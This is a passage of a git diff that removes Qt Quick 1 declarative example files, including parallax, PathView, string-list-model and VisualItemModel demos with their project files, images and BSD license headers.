visualModel - delegate: Delegate {} - model: myModel - } - - ListView { - width: 200; height:200 - model: visualModel.parts.list - } - GridView { - x: 200; width: 200; height:200 - cellHeight: 50 - model: visualModel.parts.grid - } - //![0] -} diff --git a/examples/declarative/qtquick1/modelviews/parallax/parallax.qml b/examples/declarative/qtquick1/modelviews/parallax/parallax.qml deleted file mode 100644 index bc0746d41e..0000000000 --- a/examples/declarative/qtquick1/modelviews/parallax/parallax.qml +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "../../toys/clocks/content" // for loading the Clock element -import "qml" - -Rectangle { - width: 320; height: 480 - - ParallaxView { - id: parallax - anchors.fill: parent - background: "pics/background.jpg" - - Item { - property url icon: "pics/yast-wol.png" - width: 320; height: 480 - Clock { anchors.centerIn: parent } - } - - Item { - property url icon: "pics/home-page.svg" - width: 320; height: 480 - Smiley { } - } - - Item { - property url icon: "pics/yast-joystick.png" - width: 320; height: 480 - - Loader { - anchors { top: parent.top; topMargin: 10; horizontalCenter: parent.horizontalCenter } - width: 300; height: 400 - clip: true; - source: "../../../../demos/declarative/samegame/samegame.qml" - Component.onCompleted: item.inAnotherDemo = true; - } - } - } -} diff --git a/examples/declarative/qtquick1/modelviews/parallax/parallax.qmlproject b/examples/declarative/qtquick1/modelviews/parallax/parallax.qmlproject deleted file mode 100644 index 2753331933..0000000000 --- a/examples/declarative/qtquick1/modelviews/parallax/parallax.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "parallax.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/modelviews/parallax/pics/background.jpg b/examples/declarative/qtquick1/modelviews/parallax/pics/background.jpg deleted file mode 100644 index 61cca2f138..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/parallax/pics/background.jpg and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/parallax/pics/face-smile.png b/examples/declarative/qtquick1/modelviews/parallax/pics/face-smile.png deleted file mode 100644 index 3d66d72578..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/parallax/pics/face-smile.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/parallax/pics/home-page.svg b/examples/declarative/qtquick1/modelviews/parallax/pics/home-page.svg deleted file mode 100644 index 4f16958844..0000000000 --- a/examples/declarative/qtquick1/modelviews/parallax/pics/home-page.svg +++ /dev/null @@ -1,445 +0,0 @@ - -image/svg+xmlGo HomeJakub Steinerhttp://jimmac.musichall.czhomereturngodefaultuserdirectoryTuomas Kuosmanen - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/examples/declarative/qtquick1/modelviews/parallax/pics/shadow.png b/examples/declarative/qtquick1/modelviews/parallax/pics/shadow.png deleted file mode 100644 index 8270565e87..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/parallax/pics/shadow.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/parallax/pics/yast-joystick.png b/examples/declarative/qtquick1/modelviews/parallax/pics/yast-joystick.png deleted file mode 100644 index 858cea0301..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/parallax/pics/yast-joystick.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/parallax/pics/yast-wol.png b/examples/declarative/qtquick1/modelviews/parallax/pics/yast-wol.png deleted file mode 100644 index 7712180a3b..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/parallax/pics/yast-wol.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/parallax/qml/ParallaxView.qml b/examples/declarative/qtquick1/modelviews/parallax/qml/ParallaxView.qml deleted file mode 100644 index 72abe7cc03..0000000000 --- a/examples/declarative/qtquick1/modelviews/parallax/qml/ParallaxView.qml +++ /dev/null @@ -1,123 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - id: root - - property alias background: background.source - property int currentIndex: 0 - default property alias content: visualModel.children - - Image { - id: background - fillMode: Image.TileHorizontally - x: -list.contentX / 2 - width: Math.max(list.contentWidth, parent.width) - } - - ListView { - id: list - anchors.fill: parent - - currentIndex: root.currentIndex - onCurrentIndexChanged: root.currentIndex = currentIndex - - orientation: Qt.Horizontal - boundsBehavior: Flickable.DragOverBounds - model: VisualItemModel { id: visualModel } - - highlightRangeMode: ListView.StrictlyEnforceRange - snapMode: ListView.SnapOneItem - } - - ListView { - id: selector - - height: 50 - anchors.bottom: parent.bottom - anchors.horizontalCenter: parent.horizontalCenter - width: Math.min(count * 50, parent.width - 20) - interactive: width == parent.width - 20 - orientation: Qt.Horizontal - - currentIndex: root.currentIndex - onCurrentIndexChanged: root.currentIndex = currentIndex - - model: visualModel.children - delegate: Item { - width: 50; height: 50 - id: delegateRoot - - Image { - id: image - source: modelData.icon - smooth: true - scale: 0.8 - } - - MouseArea { - anchors.fill: parent - onClicked: { root.currentIndex = index } - } - - states: State { - name: "Selected" - when: delegateRoot.ListView.isCurrentItem == true - PropertyChanges { - target: image - scale: 1 - y: -5 - } - } - transitions: Transition { - NumberAnimation { properties: "scale,y" } - } - } - - Rectangle { - color: "#60FFFFFF" - x: -10; y: -10; z: -1 - width: parent.width + 20; height: parent.height + 20 - radius: 10 - } - } -} diff --git a/examples/declarative/qtquick1/modelviews/parallax/qml/Smiley.qml b/examples/declarative/qtquick1/modelviews/parallax/qml/Smiley.qml deleted file mode 100644 index fd31a37570..0000000000 --- a/examples/declarative/qtquick1/modelviews/parallax/qml/Smiley.qml +++ /dev/null @@ -1,84 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -// This is taken from the declarative animation/basics/property-animation.qml -// example - -Item { - id: window - width: 320; height: 480 - - Image { - anchors.horizontalCenter: parent.horizontalCenter - y: smiley.minHeight + 58 - source: "../pics/shadow.png" - - scale: smiley.y * 0.5 / (smiley.minHeight - smiley.maxHeight) - } - - Image { - id: smiley - property int maxHeight: window.height / 3 - property int minHeight: 2 * window.height / 3 - - anchors.horizontalCenter: parent.horizontalCenter - y: minHeight - source: "../pics/face-smile.png" - - SequentialAnimation on y { - loops: Animation.Infinite - - NumberAnimation { - from: smiley.minHeight; to: smiley.maxHeight - easing.type: Easing.OutExpo; duration: 300 - } - - NumberAnimation { - from: smiley.maxHeight; to: smiley.minHeight - easing.type: Easing.OutBounce; duration: 1000 - } - - PauseAnimation { duration: 500 } - } - } -} - diff --git a/examples/declarative/qtquick1/modelviews/pathview/pathview-example.qml b/examples/declarative/qtquick1/modelviews/pathview/pathview-example.qml deleted file mode 100644 index ad45398cfb..0000000000 --- a/examples/declarative/qtquick1/modelviews/pathview/pathview-example.qml +++ /dev/null @@ -1,107 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 400; height: 240 - color: "white" - - ListModel { - id: appModel - ListElement { name: "Music"; icon: "pics/AudioPlayer_48.png" } - ListElement { name: "Movies"; icon: "pics/VideoPlayer_48.png" } - ListElement { name: "Camera"; icon: "pics/Camera_48.png" } - ListElement { name: "Calendar"; icon: "pics/DateBook_48.png" } - ListElement { name: "Messaging"; icon: "pics/EMail_48.png" } - ListElement { name: "Todo List"; icon: "pics/TodoList_48.png" } - ListElement { name: "Contacts"; icon: "pics/AddressBook_48.png" } - } - - Component { - id: appDelegate - Item { - width: 100; height: 100 - scale: PathView.iconScale - - Image { - id: myIcon - y: 20; anchors.horizontalCenter: parent.horizontalCenter - source: icon - smooth: true - } - Text { - anchors { top: myIcon.bottom; horizontalCenter: parent.horizontalCenter } - text: name - smooth: true - } - - MouseArea { - anchors.fill: parent - onClicked: view.currentIndex = index - } - } - } - - Component { - id: appHighlight - Rectangle { width: 80; height: 80; color: "lightsteelblue" } - } - - PathView { - id: view - anchors.fill: parent - highlight: appHighlight - preferredHighlightBegin: 0.5 - preferredHighlightEnd: 0.5 - focus: true - model: appModel - delegate: appDelegate - path: Path { - startX: 10 - startY: 50 - PathAttribute { name: "iconScale"; value: 0.5 } - PathQuad { x: 200; y: 150; controlX: 50; controlY: 200 } - PathAttribute { name: "iconScale"; value: 1.0 } - PathQuad { x: 390; y: 50; controlX: 350; controlY: 200 } - PathAttribute { name: "iconScale"; value: 0.5 } - } - } -} diff --git a/examples/declarative/qtquick1/modelviews/pathview/pathview.qmlproject b/examples/declarative/qtquick1/modelviews/pathview/pathview.qmlproject deleted file mode 100644 index 4fd7886603..0000000000 --- a/examples/declarative/qtquick1/modelviews/pathview/pathview.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "pathview-example.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/modelviews/pathview/pics/AddressBook_48.png b/examples/declarative/qtquick1/modelviews/pathview/pics/AddressBook_48.png deleted file mode 100644 index 1ab7c8eec1..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/pathview/pics/AddressBook_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/pathview/pics/AudioPlayer_48.png b/examples/declarative/qtquick1/modelviews/pathview/pics/AudioPlayer_48.png deleted file mode 100644 index f4b8689f87..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/pathview/pics/AudioPlayer_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/pathview/pics/Camera_48.png b/examples/declarative/qtquick1/modelviews/pathview/pics/Camera_48.png deleted file mode 100644 index c76b524945..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/pathview/pics/Camera_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/pathview/pics/DateBook_48.png b/examples/declarative/qtquick1/modelviews/pathview/pics/DateBook_48.png deleted file mode 100644 index 58f5787fb8..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/pathview/pics/DateBook_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/pathview/pics/EMail_48.png b/examples/declarative/qtquick1/modelviews/pathview/pics/EMail_48.png deleted file mode 100644 index d6d84a61be..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/pathview/pics/EMail_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/pathview/pics/TodoList_48.png b/examples/declarative/qtquick1/modelviews/pathview/pics/TodoList_48.png deleted file mode 100644 index 0988448d9b..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/pathview/pics/TodoList_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/pathview/pics/VideoPlayer_48.png b/examples/declarative/qtquick1/modelviews/pathview/pics/VideoPlayer_48.png deleted file mode 100644 index 52638c50a7..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/pathview/pics/VideoPlayer_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/stringlistmodel/main.cpp b/examples/declarative/qtquick1/modelviews/stringlistmodel/main.cpp deleted file mode 100644 index f798a15309..0000000000 --- a/examples/declarative/qtquick1/modelviews/stringlistmodel/main.cpp +++ /dev/null @@ -1,75 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the demonstration applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include - -#include -#include -#include -#include - - -/* - This example illustrates exposing a QStringList as a - model in QML -*/ - -int main(int argc, char ** argv) -{ - QApplication app(argc, argv); - -//![0] - QStringList dataList; - dataList.append("Item 1"); - dataList.append("Item 2"); - dataList.append("Item 3"); - dataList.append("Item 4"); - - QDeclarativeView view; - QDeclarativeContext *ctxt = view.rootContext(); - ctxt->setContextProperty("myModel", QVariant::fromValue(dataList)); -//![0] - - view.setSource(QUrl("qrc:view.qml")); - view.show(); - - return app.exec(); -} - diff --git a/examples/declarative/qtquick1/modelviews/stringlistmodel/stringlistmodel.pro b/examples/declarative/qtquick1/modelviews/stringlistmodel/stringlistmodel.pro deleted file mode 100644 index 3078e5be27..0000000000 --- a/examples/declarative/qtquick1/modelviews/stringlistmodel/stringlistmodel.pro +++ /dev/null @@ -1,9 +0,0 @@ -TEMPLATE = app -TARGET = stringlistmodel -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative qtquick1 - -# Input -SOURCES += main.cpp -RESOURCES += stringlistmodel.qrc diff --git a/examples/declarative/qtquick1/modelviews/stringlistmodel/stringlistmodel.qrc b/examples/declarative/qtquick1/modelviews/stringlistmodel/stringlistmodel.qrc deleted file mode 100644 index 17e9301471..0000000000 --- a/examples/declarative/qtquick1/modelviews/stringlistmodel/stringlistmodel.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - view.qml - - diff --git a/examples/declarative/qtquick1/modelviews/stringlistmodel/view.qml b/examples/declarative/qtquick1/modelviews/stringlistmodel/view.qml deleted file mode 100644 index 5152f4bee8..0000000000 --- a/examples/declarative/qtquick1/modelviews/stringlistmodel/view.qml +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -//![0] - -ListView { - width: 100; height: 100 - anchors.fill: parent - - model: myModel - delegate: Rectangle { - height: 25 - width: 100 - Text { text: modelData } - } -} -//![0] diff --git a/examples/declarative/qtquick1/modelviews/visualitemmodel/visualitemmodel.qml b/examples/declarative/qtquick1/modelviews/visualitemmodel/visualitemmodel.qml deleted file mode 100644 index e0536bcbb2..0000000000 --- a/examples/declarative/qtquick1/modelviews/visualitemmodel/visualitemmodel.qml +++ /dev/null @@ -1,114 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -// This example demonstrates placing items in a view using -// a VisualItemModel - -import QtQuick 1.0 - -Rectangle { - color: "lightgray" - width: 240 - height: 320 - - VisualItemModel { - id: itemModel - - Rectangle { - width: view.width; height: view.height - color: "#FFFEF0" - Text { text: "Page 1"; font.bold: true; anchors.centerIn: parent } - - Component.onDestruction: print("destroyed 1") - } - Rectangle { - width: view.width; height: view.height - color: "#F0FFF7" - Text { text: "Page 2"; font.bold: true; anchors.centerIn: parent } - - Component.onDestruction: print("destroyed 2") - } - Rectangle { - width: view.width; height: view.height - color: "#F4F0FF" - Text { text: "Page 3"; font.bold: true; anchors.centerIn: parent } - - Component.onDestruction: print("destroyed 3") - } - } - - ListView { - id: view - anchors { fill: parent; bottomMargin: 30 } - model: itemModel - preferredHighlightBegin: 0; preferredHighlightEnd: 0 - highlightRangeMode: ListView.StrictlyEnforceRange - orientation: ListView.Horizontal - snapMode: ListView.SnapOneItem; flickDeceleration: 2000 - cacheBuffer: 200 - } - - Rectangle { - width: 240; height: 30 - anchors { top: view.bottom; bottom: parent.bottom } - color: "gray" - - Row { - anchors.centerIn: parent - spacing: 20 - - Repeater { - model: itemModel.count - - Rectangle { - width: 5; height: 5 - radius: 3 - color: view.currentIndex == index ? "blue" : "white" - - MouseArea { - width: 20; height: 20 - anchors.centerIn: parent - onClicked: view.currentIndex = index - } - } - } - } - } -} diff --git a/examples/declarative/qtquick1/modelviews/visualitemmodel/visualitemmodel.qmlproject b/examples/declarative/qtquick1/modelviews/visualitemmodel/visualitemmodel.qmlproject deleted file mode 100644 index 7f74b36c16..0000000000 --- a/examples/declarative/qtquick1/modelviews/visualitemmodel/visualitemmodel.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "visualitemmodel.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/positioners/Button.qml b/examples/declarative/qtquick1/positioners/Button.qml deleted file mode 100644 index b958ad7495..0000000000 --- a/examples/declarative/qtquick1/positioners/Button.qml +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS 